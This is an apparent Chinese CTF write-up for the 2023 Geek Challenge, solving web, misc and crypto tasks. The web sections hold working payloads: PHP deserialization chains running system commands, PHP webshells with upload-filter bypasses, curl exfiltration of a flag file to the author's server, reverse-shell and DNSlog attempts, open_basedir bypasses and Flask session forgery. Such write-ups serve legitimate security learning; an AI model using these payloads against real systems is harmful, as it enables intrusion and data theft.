2023极客大挑战WP-Parar

[TOC]

2023极客大挑战WP-Parar

WEB

EzHttp

打开页面,直接提示:请post传参username和password进行登录

但是此处并不知道具体的账号密码,点击F12,发现提示

image-20231105200104517

关键点:==不想让爬虫获取的地方==

此处需要了解robots.txt,相关解释截取于csdn:robots.txt是一种用于网站的文本文件,用于指示搜索引擎爬虫(也称为网络蜘蛛)哪些页面可以被访问或不被访问。它被放置在网站的根目录下,并通过定义一组规则来管理爬虫的访问权限。

了解到robots.txt这个文件后,便在该题目网站上进行查看

image-20231105200710210

发现,robots.txt文件对爬虫限制了不得访问该网站下的o2takuXX’s_username_and_password.txt文件,此处便直接访问该文件,得到

image-20231105200851034

得到账号密码后,返回首页利用hackbar进行POST传值:

image-20231105201028541

传值成功后,页面提示必须来源自sycsec.com ,此处需学习HTTP请求头相关知识

请求头(Request Headers)是在HTTP协议中用于传递关于请求的额外信息的部分。它包含了客户端(通常是浏览器或应用程序)与服务器之间进行通信所需的元数据。

请求头的作用有以下几个方面:

  1. 传递请求的附加信息:请求头可以携带一些客户端相关的信息,如用户代理(User-Agent)、接受的内容类型(Accept)、身份验证凭证(Authorization)等。这些信息可以帮助服务器更好地理解和处理请求。

  2. 控制缓存行为:通过请求头中的Cache-Control字段,客户端可以告知服务器如何处理响应的缓存,包括是否使用缓存、缓存的有效期等。

  3. 进行身份验证:请求头中的Authorization字段常用于传递身份验证凭证,如基本认证(Basic Authentication)或令牌(Token)。服务器可以根据这些凭证对请求进行身份验证,以确定是否允许访问受保护的资源。

  4. 控制请求体的格式:Content-Type字段指定了请求体中数据的格式类型,如JSON、表单数据等。服务器可以根据Content-Type来正确解析请求体中的数据。

  5. 提供跳转来源信息:Referer字段指示了当前请求是从哪个URL页面发起的,可以帮助服务器识别请求的来源。

    通过请求头,客户端可以向服务器提供更多的信息,以便服务器能够根据这些信息做出相应的处理和响应。同时,服务器也可以使用请求头来控制和管理请求的行为,确保通信的顺利进行。

了解完什么是请求头之后便需要了解具体有哪些请求头,各个请求头有什么作用,学习文章CTF——HTTP发送头Headers整理

学习完成之后继续完成题目

  1. 要求:必须来源自sycsec.com,利用hackbar的modify header采用Referer=sycsec.com

  2. 要求:请使用Syclover浏览器,采用User-Agent=Syclover

  3. 要求:请从localhost访问,在计算机网络中,localhost(意为“本地主机”,指“这台计算机”)是给回路网络接口(loopback)的一个标准主机名,相对应的IP地址为127.0.0.1,采用X-Forwarded-For=127.0.0.1(想起刚开学最开始学的痛苦 😢)

  4. 要求:请使用Syc.vip代理,采用via=Syc.vip

  5. 页面显示出一段代码

    <?php
    
    if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
       echo $flag;
    }
    
    ?>

    其中_SERVER[‘HTTP_O2TAKUXX’]表示请求方法为O2TAKUXX,代码即如果请求方法采用O2TAKUXX而且值为GiveMeFlag便会执行语句echo $flag,(输出flag),和上述方法一样,利用hackbar的modify header构造O2TAKUXX=GiveMeFlag

最终payload如图

image-20231105211711185

unsign

代码审计

打开题目,一段php源代码,存在三个类以及==unserialize()==函数,推测题目考点为php反序列化漏洞,进行代码审计,推理出pop链构造思路,审计

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()###6.return $function();位于__destruct()函数下,在对象被摧毁时触发
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();###5.此处return后有一对括号,可将对象作为函数进行调用,将$function=lover即可成功
    }
}
class lover
{
    public $yxx;
    public $QW;
    public function __invoke()###4.return位于__invoke()函数下,__invoke魔术方法触发方式为:一个对象被作为函数调用时得到触发
    {
        echo("invoke!<br>");
        return $this->yxx->QW;###3.使$yxx=web,$QW!=eva1且!=intersesting时,利用return函数,调用了web中不存在的类,触发了__get()函数
    }
}
class web
{
    public $eva1;
    public $interesting;
    public function __get($var)###2.利用点位于__get()魔术方法内,需提前触发,触发方式:调用不存在或不可访问的静态方法时自动触发
    {
        echo("get!<br>");         
        $eva1=$this->eva1;
        $eva1($this->interesting);###1.利用点,使变量$eva1=eval,$insteresting=system("ls");即可 拼接得到命令eval(system("ls");)
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}
?>

pop链构造

根据顺序构造pop链,代码中只需要保存类即类中的对象即可

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
}

class lover
{
    public $yxx;
    public $QW;
}

class web
{
    public $eva1;
    public $interesting;
}
$web = new web();
$web->eva1 = 'eval';
$web->interesting = 'system("ls /");';###利用eval函数执行systenm函数时需要在system后加上分号

$lover = new lover();
$lover->yxx = $web;
$lover->QW = 'a';

$syc = new syc();
$syc->cuit = $lover;

echo serialize($syc);
?>

在phpstudy中运行这段代码,得到序列化后的字符串

O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:4:"eval";s:11:"interesting";s:15:"system("ls /");";}

image-20231123195941130

复制pop链得到的序列化字符串,利用hackbar进行POST传值

然而出现报错

image-20231123202308685

报错说明:eval函数没有被定义???

搜索报错,造成原因可能是eval函数被禁用,由于变量名对思路进行了诱导,这里便尝试其他函数,直接对变量eva1赋值为system,interesting=ls /

重新运行pop链得到payload:

O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:4:"ls /";}s:2:"QW";s:1:"a";}}

image-20231123203528469

爆出根目录后,找到存在flag文件,将interesting修改为cat /flag,再次得到payload:

O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";s:1:"a";}}

提交即可得到flag

image-20231123203930665

n00b_Upload

1.正解

题目首页提供了一个文件上传的接口,结合题目名称,推测考点为文件上传漏洞

image-20231124202142233

首先创建一个php文件,写入一句话木马:==<?php @eval($_POST[‘parar’]);?>==

直接将该文件上传后,返回“后缀过了”(?)以及蚁剑顶真,并没有上传成功,猜测与后缀名有关,将后缀修改为jpg上传,前端验证通过后,再利用yakit对文件后缀修改回php,使得服务器能够以php的解析方式解析我们传入的木马

image-20231124202638975

提交成功,但是,提示我上传的内容一看就是木马,说明对我们传入的文件内容进行了检测

image-20231124202838146

搜索如何绕过文件上传漏洞中的内容检测,学习文章:文件上传对文件内容检测时绕过

学习之后,经过尝试,推测此处可能为特征识别如果文件内容中是否含有==“php”==三个字符,若检测出含有,则识别为木马,阻止上传

绕过思路即文件中不得含有php三个字符,但是文件中内容依然需要被解析为,利用上面连接中的提到的短标签<? ?>替换php标签<?php ?>,因此文件内容为:

<? @eval($_POST['parar']);?>

上传之后,提示上传成功,并且直接给出了文件保存路径,直接根据文件保存路径对文件进行访问,连接蚁剑,但是并不能连接,重新上传文件

<?echo '1';?>

访问该上传文件后,页面并没有直接显示出1,查看源代码

image-20231124210947567

证明文件没有被解析为php文件

学习文章

image-20231124211341199

<??>标签需要修改配置文件,此处没法被正确解析,改用<?= ?>(php5.4以上)

直接上传

<?= system("ls /"); ?>

爆出根目录:

image-20231124213112751

找到flag文件,直接读取

<?= system("cat /flag"); ?>

得到flag

image-20231124213638080

2.踩坑经历

根据题目中给出临时存储路径,以及文件上传路径,猜测对文件内容进行了修改,

image-20231124213833105

随便上传一张图片,上传成功后下载,拖进010editor中与最初的图片进行对比,发现确实存在许多不同之处,在两份文件的相同位置中(该部分没有被篡改)掺入php代码,但仍然使用了php标签,内容仍然被识别为木马

easy_php

点开题目是一段php源码,由嵌套的if组成,包含了flag.php文件,且在最内层存在echo flag语句,因此此题得到flag的方法便是使所有条件为真,即可执行echo flag语句

第一层:大小写绕过

if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!')
{
    ...
}
else
{
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}

审计代码,需要用GET方法传参“syc”,满足if的条件如下:

  1. 第一个正则中最后的/i表示忽略大小写,忽略大小写的情况下需要等于Welcome to GEEK 2023!
  2. 第二个正则要求syc的参数不得为Welcome to GEEK 2023!(一一对应,严格不等)

因此,将syc传入==WelCome to GEEK 2023!==即可通过

第二层:intval()函数绕过

if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024)
{
...
}
else
{
    echo "嘿嘿嘿,你别急啊";
}

审计代码,if中存在intval函数(取整),需满足条件如下:

  1. 通过GET传入变量lover,经过intval函数取整后,需要小于2023,
  2. 取整后的值加一需要大于2024

利用科学计数法,对变量lover传入3e3(3000),当第一个intval对数据进行处理时,是会将数据识别为s,但是后一个经过+1处理后,可以完整识别科学计数法,从而大于2024

第三层:数组绕过

if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
              .....  
            }}
else
{
   echo "好哩,快拿到flag啦";
}

通过POST传入变量“qw”,"yxx"通过string转化为字符串后进行shal加密,二者加密后值需相等则条件成立

知识点:md5,sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

因此传入数组即可绕过:qw[]=a&yxx[]=a

第四层:php变量非法命名传参

if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";

通过POST方法传入变量“SYC_GEEK.2023”,并且对变量进行赋值Happy to see you!(只有一个等号)

无论对变量SYC_GEEK.2023传入什么,后面不是比较符号而是赋值,因此后一个条件都满足,因此重点在第一个条件

在PHP中变量命名的规则为:除了下划线外,变量不允许出现任何空格或标点符号。也就是说变量名只能包含:a-z、A-Z、0-9 以及下划线

所以此处的变量并不符合规则,我们世界POST传入SYC_GEEK.2023会被转化为SYC_GEEK_2023,后面赋值时便找不到赋值对象

知识点:PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

利用此特性,POST传入变量:==SYC[GEEK.2023== 即可转化为SYC_GEEK.2023,最终得到flag,payload如图

image-20231125104853908

ctf_curl

1.正解

打开题目是一段源代码

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
    $address = $_GET['addr'];
    if(!preg_match("/;|f|:|||&|!|>|<|`|(|{|?|n|r/i", $address)){
        $result = system("curl ".$address."> /dev/null");
    } else {
        echo "Hacker!!!";
    }
}
?>

1.审计代码

代码中给出提示,需要curl自己的域名,而且flag就在/tmp/Syclover

代码整体逻辑为:

  1. 通过get方式获得变量addr并赋给变量address
  2. 通过正则表达式限制变量address中不得包含其中字符
  3. 如果没有以上特殊字符通过正则就执行将address中的字符拼接到system()命令中,使用curl指令对输入的字符串进行操作
  4. 使用> /dev/null语句将命令所得结果进行重定向到/dev/null(黑洞),使页面没有回显

2.绕过> /dev/null

一般来说,使用分隔符如;、||对命令进行截断,如语句echo 1;ls >/dev/null,便只会将ls执行的结果重定向至黑洞文件,前一句语句可以正常回显。

但这道题中,通过正则表达式进行限制,使;|| &&(%2a%2a) n(%0A)(换行符,被检测为n)等无法绕过

在一片文章中看到通过burpsuit爆破发现可以通过==%2a(*)==进行截断>/dev/null(做题的时候忘了留地址,现在找不到了😭)

3.利用curl构造命令

在做这道题之前并没有接触过curl指令,开始搜索!

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。

具体学习参考CURL 使用教程以及命令总结

经过学习知道,curl指令可以用于在网络中进行文件传输数据包收发,在本题中虽然已经知道flag位置,但没有命令语句如cat等语句直接对flag进行读取,根据提示中的curl your domain推测需要将文件传至自己服务器上再进行读取

在上面链接文章中讲到,curl指令进行数据传输相关指令如下

image-20231107223832578

根据解释,推测可以根据-F或-T指令进行文件发送,但是在正则中过滤了字母f(最后/i表示不区分大小写),所有无法利用-F指令,只能利用-T指令

确定指令后,根据示例开始构造命令

-T /tmp/Syclover 175.xxx.xxx.101//此为自己服务器ip 

指令构造完成后再加上%2a进行截断避免被重定向至/dev/null

最终payload为

?addr=-T /tmp/Syclover 175.xxx.xxx.101 %2a

执行语句前需要开启对自己服务器的监听,执行命令nc -lvvp 80(因没有指定端口,所有直接访问的是默认端口80)

开启监听后,便执行上诉payload

即可得到flag,如图

2.踩坑经历(😭)

1.反弹shell

根据curl your domain以及题目中命令执行?真的吗?,推测该题解决方法是利用curl配合bash进行反弹shell

学习文章:反弹shell汇总(超详细)

于是开始操作,截断重定向方法一致,但后面需要执行自己在服务器所创建的文件,需要利用管道符 |

?addr=175.178.29.101|bash%2a

但正则表达式中进行了过滤,尝试无数方法后(各种编码,等效符号等)仍然没有找到可以绕过的方法(😥)

2.DNSlog外带

在查找反弹shell相关文章的时候,浏览到部分文章提到了DNSlog外带的方法,在反弹shell走投无路时尝试

学习文章:学习远程命令执行漏洞笔记

首先在http://www.dnslog.cn/注册后,构造语句

?addr=ia24ce.ceye.io/`cat /tmp/Syclover` %2a

但是页面仍然回显hacker!!!,重新审查代码发现在正则中过滤反引号(`),被学姐的心思缜密所震撼(😱)

ez_remove

1.预期解

==考点==:1. 反序列化中__destruct的提前触发(fast destruct)

​ 2.命令执行中disabled_function以及open_basedir绕过

打开题目,是一段源代码

<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}

1.大致思路

首先审计代码判断为一道php反序列化+RCE的题目,通过修改syc->lover(例如lover为’ls -a’,即可获得当前目录下所有文件),即可通过eval()函数(用来执行一个字符串表达式,并返回表达式的值,即将字符串当做命令执行)达到执行系统命令的目的;

2.pop链构造

<?php

highlight_file(__FILE__);
class syc{
    public $lover;
}//复制题目源代码,只需保留类与属性
//构造序列化字符串
$a=new syc();
$a->lover='system(ls -a);';
echo serialize($a);
//网页运行这段代码后得到O:3:"syc":1:{s:5:"lover";s:14:"system(ls -a);";}
?>

通过hackbar对变量web进行传值,此步payload为

?web=O:3:"syc":1:{s:5:"lover";s:14:"system(ls -a);";}

3.正则绕过

if(!preg_match('/lover/i',$_GET['web']))

当直接将上面所得字符串进行传入时,页面会显示“nonono”,因为正则中要求不能出现==lover==(i表示不论大小写,因此无论是lover还是LOVER都会被识别)

做题中,共尝试了url编码(被识别),base64(不能解析为lover)

查询资料发现,不区分大小写的正则字母绕过可以用16进制绕过,不过需要将绕过的字母属性由s改为S,即将序列化的结果修改为

O:3:"syc":1:{S:5:"lov65r";s:14:"system(ls -a);";}//65在字符串中是以16进制表示的e

故此步payload为

?web=O:3:"syc":1:{S:5:"lov65r";s:14:"system(ls -a);";}

4.fast __destruct()绕过throw new Error

当做完第三步时,页面并没有像以前的反序列化题目一样,输出命令system(ls -a);的结果,

而是发生报错Fatal error: Uncaught Error: 快来玩快来玩~ in /var/www/html/index.php:14 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 14

观察代码发现,与以往的反序列题目不同的是多了语句throw new Error("快来玩快来玩~");

搜索得知

==当异常被抛出时,其后的代码不会继续执行,PHP 会尝试查找匹配的 "catch" 代码块==

如果异常没有被捕获,而且又没用使用 set_exception_handler() 作相应的处理的话,那么将发生一个严重的错误(致命错误),并且输出 "Uncaught Exception" (未捕获异常)的错误消息

__destruct()魔术方法为在对象被摧毁时(php垃圾回收机制:脚本结束自动销毁对象)进行调用,因此,不会执行destruct魔术方法内的内容,需要绕过就需要提前触发destruct魔术方法。此处需学习php垃圾回收机制

提前触发desturct的具体方法共三种

  1. 数组

    a:2:{i:0;O:3:"syc":1:{S:5:"lov65r";s:14:"system(ls -a);";}i:0;N;}

    绕过原理为:序列化的时候是从左到右依次进行,我们先将数组的arry[0]赋值为syc实例再将原来序列化字符串的arry[1]的角标改为0,使其后面的值覆盖掉arry[0]的syc实例达到强制触发__destruct

  2. 修改序列化数字元素个数

    O:3:"syc":2:{S:5:"lo76er";s:14:"system(ls -a);";}
    
  3. 去掉序列化尾部
O:3:"syc":1:{S:5:"lo76er";s:14:"system(ls -a);";

但是在这道题中,第三种方法不行,利用前两种方法即可成功thrownewerror

5.disadled function & open_basedir绕过

当完成上一步成功绕过thrownewerror后

页面也没有直接输出命令system(ls -a)的结果

显示报错信息为:Warning: system() has been disabled for security reasons in /var/www/html/index.php(7) : eval()’d code on line 1

原因是system()函数被禁用,尝试利用替代函数绕过,如exec()、passthru()、system()、 shell_exec(),但同样显示被禁用,查看phpinfo页面获取相关信息

Core下的disabled _functions下发现共禁用了以下函数system,exec,shell_exec,fopen,pcmtl_exe,passthru,popen

尝试通过readfile()函数进行读取flag //但此时并不知道flag具体在什么目录以及什么文件内

此步payload为

?web=O:3:"syc":2:{S:5:"lo76er";s:24:"readfile("/etc/passwd");";}

发出报错: Warning: readfile(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(7) : eval()’d code on line 1

Warning: readfile(/etc/passwd): failed to open stream: Operation not permitted in /var/www/html/index.php(7) : eval()’d code on line 1

发现不只有函数的禁用限制,还有路径限制(open_basedir restriction),同样可在phpinfo页面下发现

绕过open_basedir方法参考:open_basedir绕过

此处我共尝试两总方法

  1. glob

    ?web=O:3:"syc":2:{S:5:"lo76er";s:94:"$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();";}
    

    通过该语句即可达到system(ls /);同样效果(列出根目录),发现存在f1ger文件,猜测flag在该文件内

    尝试读取

    ?web=O:3:"syc":2:{S:5:"lo76er";s:69:"$a=new DirectoryIterator("glob:///*");opendir($a);readfile('/f1ger');";}

    无法读取,上面链接文章中讲到只能读取目录而无法读取文件,于是尝试另一种方法

  2. ini_set

    总体payload

    ?web=O:3:"syc":2:{S:5:"lo76er";s:169:"mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=file_get_contents('/f1ger');var_dump($a);";}

    通过cndir不断返回至上一路径,直至根目录,然后通过语句

    $a=file_get_contents('/f1ger');var_dump($a);

    直接读取f1ger文件内容,即可获得flag

2.构造一句话木马直接连接蚁剑

参考文章:一句话木马的深入理解

审计代码发现有eval函数,联想到之前三叶草线下摆点题第三个,便直接尝试构造一句话木马,反序列化以及thrownewerror跳过方法与第一种方法相同

按照文章阐述原理构造payload

?web=O:3:"syc":2:{S:5:"lo76er";s:26:"echo 1;@eval($_POST[cmd]);";}

页面回显为1,及证明语句构造成功

连接蚁剑==注意!!!==:此处直接复制网址采用的为https协议,无法成功连接蚁剑,在复制网址后修改为http协议便可成功连接,但通过直接点击文件也无法成功读取,在蚁剑中打开虚拟终端,执行命令cat /f1ger便可成功读取

image-20231105140443720

ez_path

进入题目,一个博客网站,在最下面提供了博客搭建的源码pyc文件(python源码经编译后生成的二进制字节码(Bytecode)文件)

百度搜索pyc在线反编译:http://tools.bugscaner.com/decompyle/

得到python源码,对代码进行审计,该代码利用flask框架对博客网站进行搭建

学习flask:Python Flask Web 框架入门

审计重点位于注释之中

import os, uuid
from flask import Flask, render_template, request, redirect###导入flask模块
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'###定义文件存储路径
articles = []

class Article:###定义文章相关信息

    def __init__(self, article_id, title, content):
        self.article_id = article_id###文章id
        self.title = title###文章标题
        self.content = content

def generate_article_id():
    return str(uuid.uuid4())###使用uuid生成一个唯一id

@app.route('/')###主页路由,定义了文章所展示的内容
def index():
    return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])###上传文章路由
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')

@app.route('/article/<article_id>')###根据文章id进行文章的查看
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

    return render_template('error.html')

def save_article(article_id, title, content):###文件保存
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title###文件夹+/+标题
    with open(article_path, 'w') as (file):
        file.write(content)

def sanitize_filename(filename):###设置waf,如果文件名中包含以下符号都将其替换为_
    sensitive_chars = [
     "':'", "'*'", "'?'", ''"'', "'<'", "'>'", "'|'", "'.'"]
    for char in sensitive_chars:
        filename = filename.replace(char, '_')

    return filename

if __name__ == '__main__':
    app.run(debug=True)</article_id>

随便上传一个文件

image-20231125210820748

发现下面提供了文章路径:Article Path:Article/a

结合源代码分析,文件实际保存地址根据文件名拼接围城,此处url栏中的文件id只作为了一个链接指向文件保存地址

结合题目分析,该题从文件路径进行下手,尝试进行目录跨越,访问/etc/passwd目录,但是发生报错(与waf设定有关,文件名中包含了两个符号),对传入的字符进行了转义

image-20231125212543852

尝试目录穿越时也为进行了符号限制

最后在首页查看源代码,发现线索,secret在根目录f14444内

image-20231125213744915

直接上传文件,将文件名设置为/f14444,上传后查看即得到flag

image-20231125214153012

you konw flask

点开题目,进入页面

页面为一个驾校网站

image-20231123211112165

页面右上角存在4个功能,其中首页以及关于我们点击后都跳转首页,登录和注册页面即分别为登录界面以及注册页面

首先在注册页面随便注册一个账号

image-20231123211359735

注册成功后显示身份为普通学员,给出提示“我不想学车了,我想当教练”,猜测需要进行提权或者身份伪造,

登出后前往登录界面,尝试登入admin账户,弱口令尝试后仍然无法登录

重新登录刚刚创建的账户,观察其cookies(网页一般根据cookies判定用户身份)

image-20231123211851414

该题目采用session对身份进行鉴定同时对数据起到了保密(图床突然坏了😢没法贴图片了)

了解sessionSession详解,学习Session,这篇文章就够了(包含底层分析和使用)

了解session后,解题大致思路即:1. 解密目前账户session数据 (寻找秘钥)2.修改解密数据,使数据被识别为admin 3.重新加密,将修改后的数据传递实现登录身份为admin

  1. 寻找秘钥,扫目录后发现存在robots.txt,访问发现文件:/3ysd8.html

    发现秘钥是一段表达式:app.secret_key = ‘wanbao’+base64.b64encode(str(random.randint(1, 100)).encode(‘utf-8’)).decode(‘utf-8′)+’wanbao’

    秘钥有字符串wanbao+0到100内随机一个数字的base64编码+wanbao

    利用github上的flask_session_cookie_manager工具,进行人肉尝试100种可能,若秘钥错误会爆出decoding error,正确则直接解出:{‘is_admin’:False,’name’:’a’,’user_id’:2}

    工具使用命令:

    python3 flask_session_cookie_manager3.py decode -c 'session的值' -s '秘钥'
  2. 将数据修改为{‘is_admin’:True,’name’:’a’,’user_id’:2},利用得到的秘钥进行加密,得到加密后的字符串,

  3. 重新登录账号,利用yakit抓包修改session的值(注意,登录的过程中存在多个数据包,都需要修改session)

  4. 登录成功后,显示身份为教练,点击管理系统,得到flag

Puppy_rce

审计PHP代码

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];

    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^s()]+?((?R)?)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
}

代码逻辑:

  1. 接受GET传递的变量var

  2. 检查是否包含敏感字符

  3. 正则检查,具体匹配逻辑为:

    image-20231125231315370

    例如a(b(c()));第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b('111'));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数,

    因此此题解题知识点为==无参数的RCE==

    学习文章:RCE篇之无参数rce

    此处直接提交万能的一个payload:show_source(array_rand(array_flip(scandir(current(localeconv())))));

    这段代码世界随机显示一个文件的源码,多提交几次就能得出flag

    在看了两篇舔狗日记以及原神的介绍后得到flag

    image-20231125233438218

MISC

1.cheekin(LSB)

在公众号得到图片

mmexport1700926641667

首先使用binwalk并没有分析出文件,然后使用Stegsolve分析

image-20231125235047064
图片隐写之LSB(Least Significant Bit)原理及其代码实现

ez_smilemo

题目描述:游戏通关即可获得flag

下载附件后,有一个exe文件游戏以及一个data.win文件

打开游戏,尝试通关(🤡)

打了整个下午后通过第一关 。之前一个题目为通关第一关后便会生成一个通关的文件,将文件篡改为最后一关通关即可获得flag,但这道题并没有在第一关完成后生成文件,分析data.win文件,根据文件名猜测这个文件内存储了游戏数据,但windows自带应用没办法打开,用010editor打开也无法分析

百度data.win文件,在这篇文章中找到一个工具:关于真正的undertale传说之下反编译(源文件,不是带包文件)

安装文章中提到的工具:undertalmodtool。安装完成后,文件图标发生改变

image-20231126154747673

双击即可打开文件

最终在strings类下最后找到flag(找了半个小时😢,一直以为在代码模块中)

image-20231126155446447

base64解码获得flag:

image-20231126155522361

DEATH_N0te

下载附件下来是一张图片,工具一把嗦,仍然在Stegsolve中分析LSB找到一段base64

image-20231126162838701

进行解码获得第一段flag:SYC{D4@ThN0t4

image-20231126162953071

在Stegsolve中打开图片发现背景中白色点排列成字母,第一排比较容易看清,第二排比较模糊,发到平板上用画笔描出:

![1700987801814](C:Users29402DocumentsTencent Files2940244219FileRecvMobileFile1700987801814.jpg)

发现有点像字母但是又有点不像hhhh

猜测是动漫中的特殊字体,百度搜索:deathnote字体

一一比对得到字符串:TkFNRV9vMnRha3VYWHM=解码获得第二段flag

image-20231126165318363

下一站是哪儿呢

下载附件,第一个关键信息:机场内部照片,特点(钢琴,左侧有D登机口,以及机场天花板)最后根据机场天花板找到机场为深圳宝安机场

第二个信息,猜测是某种特殊编码

image-20231126170838934

结合题目:指挥官基恩,找到银河字母加密

image-20231126171004675

一一对照得到:I wang to go to liquery cuty

酒城,百度

image-20231126171053033

然后搜索深圳宝安到泸州机票,结合聊天时间,推测航班编号为CZ8579

Screenshot_2023-11-26-17-12-53-102_ctrip.android.

两部分信息结合,得到flag:SYC{CZ8579_Luzhou}

Qingwan心都要碎了

大体根据图片确定城市为重庆,输入重庆后不正确。推测地点需要更加详细

在第一条消息中放大图片观察

image-20231126172217609

image-20231126172250254

找到一个镇的名称以及三峡工程,文字消息中的“了解文化”以及图片内容布局,推测为博物馆内部

![Screenshot_2023-11-26-17-24-48-603_com.baidu.Baid](C:Users29402DocumentsTencent Files2940244219FileRecvMobileFileScreenshot_2023-11-26-17-24-48-603_com.baidu.Baid.jpg)找到==“重庆中国三峡博物馆”==

得到flag:SYC{重庆中国三峡博物馆}

Crypto

easy_classic

第一关

密文:

udzeojxuwqcu

密文全为字母,无特定格式,结合题目古典密码,猜测为凯撒密码,利用在线解密尝试,凯撒16位得到有意义的明文:

enjoythegame

image-20231127201728747

第二关

密文:

ialhhooavtepcyr

观察密码,感觉像是单词字母打乱顺序拼接而成,尝试栅栏密码W形解出密码:ilovecryptohaha

image-20231127202415732

解密网站:https://ctf.bugku.com/tool/railfence

第三关

密文:

5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0

观察,结构为大小写字母与数字组合而成,尝试base64解出:宇宙万法的那个源头(去搜寻一番以为是佛,结果答案就是这个🤡)

image-20231127203010068

第四关

密文:

熊曰:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒

结合之前看过的一片与佛论道解密,直接百度“熊曰”。找到解密网站:与熊论到

得到明文:never gonna give you up

image-20231127203537956

第五关

线索

password: adltlfltqrcy
key: 👝👘👠👩👞👘👤👜

发现key中是一段emoji,直接搜索emoji解密,得到:fairegame在线解密网址:Emoji表情符号编码/解码

image-20231127203922245

踩坑:利用另一个在线解密工具错误,把emoji当做秘钥,password当做密文,通过秘钥尝试解题,但是无法成功解出RhQps0dy

最后根据单词“fairegame”在CSDN上大海捞针,找到playfaire加密,在线解密平台:http://www.metools.info/code/playfair_186.html

解密得到genshinstart(启动!!!)

image-20231127204919769

最终得到flag

image-20231127205234295

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇